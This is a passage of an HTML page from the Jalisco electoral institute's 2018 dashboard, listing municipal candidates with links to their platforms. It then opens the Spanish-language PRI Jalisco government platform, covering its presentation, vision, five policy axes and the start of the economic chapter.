padding: 0cm 3.5pt 0cm 3.5pt; height: 15.55pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/12.-00387-GUSTAVO-DE-LA-TORRE-NAVARRO-TLAQUEPAQUE.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 32; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TLAQUEPAQUE<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 B\u00c1\u00d1ALES CASTRO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/17.-02233-JOSE-BA\u00d1ALES-CASTRO-TLAQUEPAQUE.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 33; height: 16.6pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.6pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">TUXPAN<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.6pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ANTONIO HORACIO CRUZ BALTAZAR<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 16.6pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/2.-05388-ANTONIO-HORACIO-CRUZ-BALTAZR-TUXPAN.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 34; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">VILLA CORONA<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">RUELAS ORTEGA LUIS RENE<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/25.-05160-RUELAS-ORTEGA-LUIS-RENE-VILLA-CORONA.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 35; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ZAPOTILTIC<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">CEBALLOS MORENO OMAR<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/31.-00329-CEBALLOS-MORENO-OMAR-ZAPOTILTIC.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 36; mso-yfti-lastrow: yes; height: 15.75pt;\">\n<td style=\"width: 184.3pt; border: solid gray 1.0pt; mso-border-themecolor: background1; mso-border-themeshade: 128; border-top: none; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"246\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">ZAPOTL\u00c1N EL GRANDE<\/p>\n<\/td>\n<td style=\"width: 10.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"378\">\n<p style=\"margin-bottom: .0001pt; text-align: center; line-height: 200%;\" align=\"center\">JOS\u00c9 ROMERO MERCADO<\/p>\n<\/td>\n<td style=\"width: 6.0cm; border-top: none; border-left: none; border-bottom: solid gray 1.0pt; mso-border-bottom-themecolor: background1; mso-border-bottom-themeshade: 128; border-right: solid gray 1.0pt; mso-border-right-themecolor: background1; mso-border-right-themeshade: 128; mso-border-top-alt: solid gray 1.0pt; mso-border-top-themecolor: background1; mso-border-top-themeshade: 128; mso-border-left-alt: solid gray 1.0pt; mso-border-left-themecolor: background1; mso-border-left-themeshade: 128; padding: 0cm 3.5pt 0cm 3.5pt; height: 15.75pt;\" width=\"227\"><a href=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/22.-02290-JOSE-ROMERO-MERCADO-ZAPOTLAN-EL-GRANDE-.pdf\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/05\/boton-plataforma1.png\" alt=\"\" width=\"75\" height=\"28\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tPresentaci\u00f3n: Transformarse para transformar\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Hoy vivimos en un mundo complejo cada vez m\u00e1s interconectado y lleno de desaf\u00edos a los que nuestro pa\u00eds no puede ni debe permanecer ajeno. La tecnolog\u00eda avanza a una velocidad in\u00e9dita y est\u00e1 transformando nuestra econom\u00eda y nuestra sociedad, mientras que los equilibrios geopol\u00edticos se est\u00e1n modificando. Todos estos procesos representan retos importantes y eventualmente acarrean problemas, pero tambi\u00e9n se pueden aprovechar si nos preparamos adecuadamente y trabajamos con expertos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Desde sus or\u00edgenes, el Partido Revolucionario Institucional (PRI) ha sido un partido que une y procura sumar para poder as\u00ed ofrecer soluciones a los muy diversos problemas de nuestra sociedad. En primera instancia, la suma era para enfrentar y superar los retos de un pa\u00eds convulso, que emerg\u00eda de una revoluci\u00f3n social y deb\u00eda canalizar de manera institucional las diferencias, anhelos y esperanzas de las personas sobre c\u00f3mo hacer efectivos sus derechos ciudadanos y anhelo de alcanzar un mayor bienestar social.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Desde su creaci\u00f3n, el PRI se establece como un partido expl\u00edcitamente liberal, de tendencia democr\u00e1tica y reformadora, que asumi\u00f3 el compromiso de encabezar las demandas y reivindicaciones de la nueva agenda ciudadana y derechos humanos, formado a partir del impulso colectivo de trabajadores que a trav\u00e9s de la historia de nuestro pa\u00eds han aportado su capacidad y vocaci\u00f3n a favor de la ciudadan\u00eda, las maestras y maestros de M\u00e9xico, un partido que se ha nutrido de amplios grupos de j\u00f3venes y mujeres con quien comparte ideales y luchas, un partido que ha sido pionero de la postulaci\u00f3n y representaci\u00f3n de candidaturas ciudadanas, que ha impulsado el ejercicio pleno de todos los derechos para todos los mexicanos.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Mediante su constante transformaci\u00f3n, nuestro instituto pol\u00edtico ha realizado contribuciones centrales para la construcci\u00f3n y el desarrollo de un M\u00e9xico mejor. \u00c9stas dan prueba de que han sabido construir liderazgo en democracia, y de que sabe proponer y dialogar para llegar a acuerdos por el bien de M\u00e9xico.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A lo largo de su historia, el PRI ha respondido a los desaf\u00edos con instituciones que han marcado la historia de nuestro pa\u00eds, y cuando \u00e9stas han dejado de estar a la altura de los retos, tambi\u00e9n se ha sabido impulsar su renovaci\u00f3n. Fiel a su vocaci\u00f3n, decidi\u00f3 transformarse para permitir una participaci\u00f3n m\u00e1s activa de la sociedad en los asuntos p\u00fablicos, y se abri\u00f3 a la posibilidad de que los simpatizantes y ciudadanos sin militancia partidista pero afines a sus aspiraciones pudieran ser postulados a cargos de elecci\u00f3n popular.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 De la mano de una sociedad organizada de manera participativa, democr\u00e1tica y libre, nos enfilamos a obtener no s\u00f3lo una victoria electoral, sino a consolidar una coalici\u00f3n legislativa y de gobierno que se involucre en las propuestas y en la acci\u00f3n, dando soluci\u00f3n a las principales problem\u00e1ticas que aquejan al pa\u00eds. M\u00e1s importante a\u00fan, podremos hacer de M\u00e9xico un pa\u00eds en donde siempre se respeten nuestras leyes, donde se respete y celebre la diversidad, en todos los rubros, en donde todos puedan participar y beneficiarse del crecimiento econ\u00f3mico y el desarrollo, en donde la totalidad de sus ciudadanos gocen de salarios justos que les permitan una vida digna. En el siglo XXI, M\u00e9xico acceder\u00e1 al lugar de potencia mundial que le corresponde.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIntroducci\u00f3n: El punto de partida\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Como lo dijo Luis Donaldo Colosio \u201c\u00a1M\u00e9xico no quiere saltos al vac\u00edo! \u00a1M\u00e9xico no quiere retrocesos o esquemas que ya estuvieron en el poder t probaron ser ineficaces! \u00a1M\u00e9xico quiere democracia pero rechaza su perversi\u00f3n: la demagogia!<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Frente a escenarios que pretenden retroceder en el tiempo, o postulan caminos sin convicciones ni rumbo, se requiere una transformaci\u00f3n con visi\u00f3n de futuro s\u00f3lidamente apoyada en la sociedad presente y la tradici\u00f3n nacional. La historia es una base s\u00f3lida que de alimentarse con las mejores posibilidades del futuro. Frente a quienes no tienen m\u00e1s convicci\u00f3n que su hambre de poder, necesitamos experiencia y vocaci\u00f3n de servicio en beneficio de los mexicanos que m\u00e1s lo necesitan. Como naci\u00f3n, hemos tenido avances muy importantes que debemos preservar pero debemos reconocer, tambi\u00e9n, que la realidad actual exige nuevas soluciones, pero sin perder de vista objetivos revolucionarios que han coadyuvado al enorme desarrollo allegado a \u00e9pocas anteriores en que no se perd\u00edan de vista.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Hoy, M\u00e9xico es un pa\u00eds m\u00e1s pr\u00f3spero. Nuestro pa\u00eds es resultado del esfuerzo de millones de mexicanos y de sus profundas transformaciones sociales y econ\u00f3micas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico contin\u00faa avanzado en la concepci\u00f3n de leyes, la construcci\u00f3n de instituciones y la consolidaci\u00f3n de fundamentales derechos y libertades. Se sentaron bases para continuar consolidando nuestro Estado de Derecho con un nuevo sistema de justicia penal acusatorio, as\u00ed como el andamiaje institucional creado en materia de transparencia y combate a la corrupci\u00f3n. Se ha hecho frente a los retos de seguridad que enfrenta nuestro pa\u00eds mejorando el fortalecimiento de las fuerzas del orden que hab\u00eda menguado por decisiones precipitadas e inmaduras de anta\u00f1o.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico es un pa\u00eds cada vez m\u00e1s incluyente y solidario. Hoy son m\u00e1s los mexicanos que tienen certeza de que podr\u00e1n proveer a su familia de alimentaci\u00f3n. Son m\u00e1s las ni\u00f1as y los ni\u00f1os en edad escolar que estudian y asisten a clases. Son m\u00e1s los adultos que pueden terminar sus estudios y as\u00ed mejorar sus oportunidades laborales. Son m\u00e1s los mexicanos que tienen m\u00e9dico a la mano, medicina y cl\u00ednica cuando les falta la salud. Son m\u00e1s los mexicanos que tienen acceso a la seguridad social. Y son m\u00e1s los mexicanos que tienen acceso a vivienda digna y con servicios fundamentales.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico cuenta con un renovado Modelo Educativo que permitir\u00e1 a los futuros ciudadanos obtener la educaci\u00f3n requerida para triunfar y ser mejores ciudadanos en la sociedad del siglo XXI. Hemos alcanzado una cobertura cercana al 100% en educaci\u00f3n primaria y secundaria, y mayor a 80% en preescolar y media superior. Contamos con un servicio profesional docente y se est\u00e1n fortaleciendo las escuelas normales para que nuestros maestros est\u00e9n mejor preparados. El arreglo de miles de escuelas representa el mayor esfuerzo en favor de la de infraestructura educativa en muchas d\u00e9cadas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 M\u00e9xico es hoy un actor responsable, respetado y escuchado a nivel mundial. Los mexicanos saben que en cualquier lugar donde ondee nuestra bandera recibir\u00e1n la protecci\u00f3n de su gobierno. En todos los di\u00e1logos de relevancia en el mundo, M\u00e9xico tiene ya un lugar en la mesa.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Los mexicanos velamos por preservar el medio ambiente y usar nuestros recursos naturales de manera responsable para que el desarrollo de nuestro pa\u00eds sea cada vez m\u00e1s sostenible. Asimismo, luchamos por avanzar hacia la igualdad sustantiva entre hombres y mujeres. Toda mujer debe poder contribuir y tambi\u00e9n ser beneficiaria del desarrollo y cada ni\u00f1o y joven de hoy debe tener las herramientas necesarias para que el d\u00eda de ma\u00f1ana llegue a ser un excelente ciudadano.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Debemos preservar, profundizar y acelerar los cambios de gran calado que se han impulsado a lo largo de nuestra historia y que han permitido estos avances. Tambi\u00e9n tenemos que trabajar para que estos avances se reflejen de manera a\u00fan m\u00e1s tangible en las vidas de los mexicanos y de sus familias, as\u00ed como aportar nuevas soluciones a los retos presentes y futuros. Si bien hay que fortalecer lo que se ha hecho bien, es el momento de iniciar un gran di\u00e1logo para el dise\u00f1o y la construcci\u00f3n de un M\u00e9xico mejor. Somos tambi\u00e9n autocr\u00edticos y reconocemos que hay realidades que nos duelen, que nos ofenden, que nos lastiman, que nos vulneran y que estamos comprometidos a cambiar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVisi\u00f3n: Se puede generar un mejor futuro\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Frente a los retos que tenemos, los mexicanos anhelamos construir una naci\u00f3n m\u00e1s libre, justa, pr\u00f3spera, inclusiva y plural, garant\u00edas para satisfacer nuestras necesidades como personas. La nueva etapa de consolidaci\u00f3n y transformaci\u00f3n del pa\u00eds requiere de una nueva forma de hacer pol\u00edtica. Una pol\u00edtica de renovada empat\u00eda, que conecte con las causas sociales, las necesidades, los anhelos y los sue\u00f1os de los mexicanos, y en la que el ciudadano sea factor fundamental de la transformaci\u00f3n social. Necesitamos una nueva forma de hacer pol\u00edtica para lograr la unidad entre ciudadanos y pol\u00edticos, entre sociedad y gobierno. En palabras de Jes\u00fas Reyes Heroles, \u201cdebemos hacer \u00e9nfasis en las coincidencias, en lo fundamental: la capacidad de inclusi\u00f3n, de construcci\u00f3n de acuerdos, de propuestas y su efectividad para ponerlas en pr\u00e1ctica\u201d.\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Para forjar una mayor\u00eda en la sociedad, debemos establecer primero una unidad de prop\u00f3sitos. Debemos juntos enviar un mensaje a la sociedad de que nuestros mejores valores -el respeto, la inclusi\u00f3n, el acuerdo, el trabajo en equipo, etc.- ser\u00e1n los fundamentos de la siguiente etapa en la construcci\u00f3n nacional. Los militantes del PRI y sus simpatizantes est\u00e1n convencidos de que en el principio y el fin de toda pol\u00edtica p\u00fablica debe estar en el ciudadano y su bienestar.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Aspiramos a ofrecer una visi\u00f3n de futuro clara, realista y responsable, pero tambi\u00e9n ambiciosa, para todos los mexicanos. \u00c9ste es el momento de construir consensos que fortalezcan lo que hemos hecho bien y tambi\u00e9n de reconocer en d\u00f3nde necesitamos soluciones diferentes. Avancemos en este proyecto construyendo y no destruyendo; en di\u00e1logo y no en confrontaci\u00f3n, buscando coincidencias y no diferencias, planteando nuevas propuestas y no acudiendo a viejas recetas que ya han demostrado que no funcionan. Cerremos la distancia entre el M\u00e9xico que somos y el M\u00e9xico que queremos ser. \u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Del rumbo que tomemos hoy depender\u00e1 que el d\u00eda de ma\u00f1ana M\u00e9xico sea una potencia que permita que todos vivamos mejor. Que nuestro pa\u00eds se encuentre entre las diez primeras econom\u00edas del mundo. Que todas y todos podamos tener una vida de paz y seguridad. Que no exista m\u00e1s el hambre ni la pobreza entre los mexicanos. Que todos sus mexicanos tengan una educaci\u00f3n de excelencia que los prepare para triunfar en la vida y ser m\u00e1s felices, sin importar d\u00f3nde vivan o cu\u00e1nto tengan. Que M\u00e9xico sea respetado y admirado en el mundo entero. Que alcancemos la igualdad sustantiva entre mujeres y hombres. Que las futuras generaciones puedan disfrutar de nuestro patrimonio natural.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Del rumbo que tracemos en estos a\u00f1os depender\u00e1 que nuestro pa\u00eds se convierta pronto, en referente de prosperidad, bienestar e innovaci\u00f3n.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 De manera primigenia, tenemos que acortar la distancia entre nuestra realidad y nuestras aspiraciones mayormente en los ejes siguientes:<\/p>\n<ul>\n<li><strong>Una econom\u00eda abierta y din\u00e1mica que beneficie a las familias. <\/strong>Los trabajadores deben ganar m\u00e1s por su trabajo y el crecimiento econ\u00f3mico debe traducirse en mejoras para la econom\u00eda familiar de todos los mexicanos.<\/li>\n<li><strong>Seguridad p\u00fablica eficaz y justicia eficiente para todos.<\/strong> La seguridad y la justicia deben ser una realidad para todos los mexicanos, independientemente de su g\u00e9nero, d\u00f3nde vivan o cu\u00e1nto tengan. Debemos acabar definitivamente con la corrupci\u00f3n y la impunidad; nada ni nadie puede estar por encima de la ley.<\/li>\n<li><strong>Educaci\u00f3n de excelencia<\/strong> <strong>para construir una sociedad del conocimiento.<\/strong> La educaci\u00f3n es el pilar de nuestro desarrollo. Tenemos que consolidar un sistema de educaci\u00f3n que prepare a nuestros hijos para desarrollarse en el complejo mundo del siglo XXI.<\/li>\n<li><strong>M\u00e9xico incluyente y solidario.<\/strong> Debemos abatir la pobreza extrema, para que nadie nazca con esta condici\u00f3n. Con un estado social y una sociedad solidaria, tenemos que garantizar el acceso efectivo a la buena alimentaci\u00f3n, la salud, la seguridad social, la educaci\u00f3n, la vivienda de calidad y con servicios para todos. El objetivo final de nuestro desarrollo debe ser el bienestar compartido, sin ning\u00fan tipo de discriminaci\u00f3n.<\/li>\n<li><strong>M\u00e9xico abierto al mundo.<\/strong> M\u00e9xico es un pa\u00eds escuchado y respetado en el mundo. En el siglo XXI, debemos aprovechar nuestras m\u00faltiples pertenencias geogr\u00e1ficas, econ\u00f3micas y culturales \u2014lo que Jos\u00e9 Juan de Olloqui defini\u00f3 como la <em>multigeopoliticidad<\/em>\u2014 para afianzar nuestro liderazgo global y convertirnos en una potencia en beneficio de los mexicanos.<\/li>\n<\/ul>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Adem\u00e1s de los cinco ejes que dan t\u00edtulo a cada cap\u00edtulo, la Plataforma y Programa de Gobierno del PRI en Jalisco contiene cuatro causas transversales:<\/p>\n<ol>\n<li><strong>Desarrollo sostenible.<\/strong> El crecimiento econ\u00f3mico y el desarrollo deben ser sostenibles, aprovechando, pero no abusando, ni destruyendo, de nuestro patrimonio natural ni del cultural.<\/li>\n<li><strong>Igualdad de g\u00e9nero sustantiva.<\/strong> Las mujeres y las ni\u00f1as mexicanas deben tener un \u201cpiso parejo\u201d en oportunidades y protecci\u00f3n efectiva de sus derechos. Necesitamos poner un alto total a la discriminaci\u00f3n de g\u00e9nero.<\/li>\n<li><strong>Apuesta por la juventud. <\/strong>M\u00e9xico es un pa\u00eds de j\u00f3venes. Debemos hacer un esfuerzo para darle a nuestros j\u00f3venes de hoy las herramientas necesarias para el d\u00eda de ma\u00f1ana puedan escoger su camino y avanzar bien en \u00e9l.<\/li>\n<li><strong>Aprovechar la experiencia.<\/strong> El n\u00famero de adultos mayores se ha incrementado sobremanera como resultado de las grandes mejoras sociales, adem\u00e1s de que muchos de ellos est\u00e1n lejos de no poder contribuir a mejorar su entorno y su propia vida personal, con especiales condiciones hay muchos jubilados que, poseyendo todos credencial de elector y el h\u00e1bito de sufragar, pueden sumarse en diferentes fuente de la lucha nacional por un futuro mejor.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEje 1: Una econom\u00eda abierta y din\u00e1mica que beneficie a las familias.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Como dec\u00eda Colosio \u201cla modernizaci\u00f3n econ\u00f3mica s\u00f3lo cobra verdadero sentido, cuando se traduce en mayor bienestar para las familias mexicanas\u201d.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En las \u00faltimas d\u00e9cadas, hemos logrado consolidar una econom\u00eda abierta y din\u00e1mica. Hoy, M\u00e9xico es una potencia manufacturera de exportaci\u00f3n con creciente valor agregado, cuya competitividad se ha fortalecido con el alto desempe\u00f1o de nuestros trabajadores. Sin embargo, la transici\u00f3n econ\u00f3mica enfrent\u00f3 resistencias y atavismos que derivaron en un menor desempe\u00f1o del esperado. La informalidad laboral persisti\u00f3 y, con ella, la falta de seguridad social, certidumbre en las inversiones, capacidad recaudatoria y competencia adecuada en los diferentes mercados.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 A principios del siglo XXI nuestra econom\u00eda se encontraba constre\u00f1ida por una serie de barreras legales e institucionales que dificultaban la inversi\u00f3n, inhib\u00edan la existencia de m\u00e1s empresas e imped\u00edan la adopci\u00f3n de nuevas y mejores tecnolog\u00edas. Nuestro sector energ\u00e9tico era uno de los m\u00e1s restrictivos del mundo y en otros sectores estrat\u00e9gicos, como el financiero o el de telecomunicaciones, se presentaban pr\u00e1cticas anticompetitivas que lastimaban el bolsillo de la ciudadan\u00eda.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Nuestro proyecto de desarrollo econ\u00f3mico en el siglo XXI se ha centrado en eliminar estos obst\u00e1culos al crecimiento. Partiendo de un firme compromiso con la estabilidad macroecon\u00f3mica, promovimos una Nueva Pol\u00edtica Industrial centrada en el fomento de sectores estrat\u00e9gicos. Con miras a convertirnos en una plataforma log\u00edstica global, hemos invertido fuertemente en infraestructura carretera y portuaria, as\u00ed como en proyectos estrat\u00e9gicos que contribuyan al desarrollo de nuestro pa\u00eds.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Sin comprometer la propiedad de la Naci\u00f3n sobre los recursos del subsuelo, emprendimos una profunda reforma energ\u00e9tica que nos permitiera atraer capital para incrementar la 